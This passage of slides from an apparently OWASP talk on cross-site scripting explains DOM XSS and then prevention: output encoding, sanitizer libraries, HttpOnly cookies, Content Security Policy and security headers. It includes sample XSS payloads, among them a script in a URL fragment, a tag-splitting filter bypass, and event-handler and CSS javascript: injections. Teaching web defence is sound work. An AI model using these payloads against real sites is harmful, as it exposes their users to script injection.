  • 14. How to exploit DOM XSS? • When webpage modifies the DOM (Document Object Model) http://site.com/page.php#<script>alert(‘xss’);</script> <html> … <script type=“text/javascript” src=“jquery.js”></script> <script> $(“#mydiv”).after(“Site is at : “ + document.location.href); </script> <div id=“mydiv”></div> … </html>
  • 15. How to prevent XSS? • Clients: Disable JavaScript • Web Application Firewall – Microsoft IIS Secure Parameter Filtering ISS module that only accepts untampered input https://spf.codeplex.com/ – ModSecurity Opensource WAF module to detect and block attacks http://modsecurity.org
  • 16. How to prevent XSS? (2) • Solve the problem at the core: • Code refactoring – Data input filtering • Make sure we don’t accept / store any unwanted data – Data output filtering / encoding • Even if we have unwanted data, escape it so we don’t execute JavaScript
  • 17. How to prevent XSS? (3) • Convert output characters – Encoded characters will not be interpreted Original Encoded & &amp; < &lt; > &gt; “ &quot; ‘ &#x27; / &#x2F; https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  • 18. How to prevent XSS? (4) • It’s not just about stripping out HTML tags – If you only filter out “<script>”: <scr<script>ipt> • Injection can happen in many places: – Event handlers: <body onload=“alert(‘xss’);”> – CSS <p style=“background:url(‘javascript:alert(123)’);”> – URLS <img title=something onclick=alert(1) ...> Look ma, no quotes!
  • 19. How to prevent XSS? (5) • Useful code libraries – Owasp HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project – Microsoft Web Protection Library http://wpl.codeplex.com/ – Microsoft AntiXSS Library http://www.microsoft.com/en-us/download/details.aspx?id=43126 – HTML Purifier http://htmlpurifier.org/
  • 20. XSS Mitigations • use HttpOnly cookies – Will prevent JS from accessing cookies Cache-Control: private Content-Length: 150 Content-Type: text/html; charset=utf-8 Date: Mon, 25 Aug 2014 10:26:07 GMT Location: /fvquickpay/frmPayOnline.aspx Server: Microsoft-IIS/8.5 Set-Cookie: ASP.NET_SessionId=iqqkkt55il3ynxuqi1dckk55; path=/; HttpOnly X-Aspnet-Version: 2.0.50727 X-Powered-By: ASP.NET
  • 21. XSS Mitigations (2) • Implement CSP – Content Security Policy – White list origins of external data Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld Allow JS, CSS and images from same host. Allow JS also from static.domain.tld.
  • 22. XSS Mitigations (3) • Instruct to disable XSS protection on IE/Chrome X-XSS-Protection: 1; mode=block 0 Disable XSS protection 1 Enables XSS protection 1; mode=block Enabled, blocks page instead of sanitizing 1; report=url Enabled, allow report to be sent to specific URL Source: http://blog.veracode.com/2014/03/guidelines-for-setting-security-headers/
  • 23. Conclusion • You’re not the target, your users are – Customers, sysadmins, … • Don’t trust anything coming from user – Even if it’s stored in the DB – Check it server side, always. • Filter using whitelists, not blacklists • Layered security measures • Escape all output
  • 24. Questions? Michael Hendrickx mhendrickx@owasp.org | @ndrix Further reading: https://www.owasp.org/index.php/XSS_Prevention_Cheat_Sheet https://html5sec.org/ http://securityoverride.org/filedb/file_db/Articles/xss.pdf